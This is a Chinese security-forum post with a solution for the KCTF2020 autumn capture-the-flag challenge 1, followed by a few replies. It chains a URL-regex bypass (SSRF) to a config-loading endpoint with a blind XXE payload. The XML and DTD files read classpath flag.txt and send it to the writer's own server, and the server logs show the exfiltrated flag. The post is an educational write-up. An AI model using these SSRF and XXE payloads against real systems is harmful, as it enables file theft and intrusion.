首页
论坛
课程
招聘
KCTF2020秋季赛 第一题 至暗时刻
2020-11-19 11:09 6551

KCTF2020秋季赛 第一题 至暗时刻

2020-11-19 11:09
6551

http://121.36.145.157:8088/

主页面

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
 <img src="/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg">
 <!--测试加载配置文件 /loadConfig?url=x.xml-->
</body>
</html>


http://121.36.145.157:8088/getimage?url=  

返回指定url的内容

illegal url! ^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*


http://121.36.145.157:8088/loadConfig?url=

加载指定url的xml

not allow ip

尝试添加x-forwarded-for: 127.0.0.1, 无效


构造url绕过正则匹配

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253A8088%2523.pediy.com/loadConfig?url=

 org.springframework.beans.factory.BeanDefinitionStoreException: Unable to determine validation mode for [file [/]]: an error occurred whilst reading from the InputStream.; nested exception is java.io.IOException: Is a directory
	at vip.xcao.demo.IndexController.config(IndexController.java:40)
...
org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310)
...
	at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85)
	at vip.xcao.demo.IndexController.config(IndexController.java:34)


有返回错误信息, 这里url可以是正则表达式(AntPathMatcher)

url=/etc/passwd 本地文件
url=http://mysite.xml 外部URL 
url=/* 匹配任意文件
url=classpath:/**/flag.txt 匹配flag.txt结尾的文件


根据返回的错误信息, 可以实现目录/文件探测, 得到感兴趣的文件路径

/home/vip-demo-0.0.1-SNAPSHOT.jar
classpath:application.properties
classpath:flag.txt
classpath:templates/config.ftl
classpath:templates/index.ftl
classpath:templates/testdata.ftl
classpath:vip/xcao/demo/ImageResourceController.class
classpath:vip/xcao/demo/IndexController.class
classpath:vip/xcao/demo/VipDemoApplication.class


通过BlindXXE实现利用

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253A8088%2523.pediy.com/loadConfig?url=http://mysite/xml.xml


http://mysite/xml.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "classpath:///flag.txt">
<!ENTITY % remote SYSTEM "http://mysite/xml.dtd">
%remote;
%all;
]>
<root>&send;</root>


http://mysite/xml.dtd

<!ELEMENT root (#PCDATA)>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://mysite/%file;'>">


在自己的http服务器查看日志, 得到flag

GET /xml.xml
GET /xml.dtd
GET /flag{congratulations-Path-the-spring-boot}



二进制系列之Pwn篇

最后于 2020-11-19 11:38 被风间仁编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (4)
雪    币: 389
活跃值: 活跃值 (1253)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 活跃值 2020-11-19 14:27
2
0
有返回错误信息, 这里url可以是正则表达式(AntPathMatcher)

这里的文件列表是怎么得到的?我执行得到Content is not allowed in prolog或者FreeMarker template error
雪    币: 638
活跃值: 活跃值 (699)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 活跃值 2020-11-19 15:50
3
0
KooJiSung 有返回错误信息, 这里url可以是正则表达式(AntPathMatcher) 这里的文件列表是怎么得到的?我执行得到Content is not allowed in prolog或者FreeM ...
楼主的意思应该是用这个特性探测文件是否存在
雪    币: 5
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wrong-404 活跃值 2020-11-19 17:58
4
0
...我还是太年轻了,居然没试classpath:/**/flag.txt
雪    币: 155
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
林克 活跃值 2020-12-8 14:09
5
0
老哥牛批,classpath:/**/flag.txt涨姿势了
游客
登录 | 注册 方可回帖
返回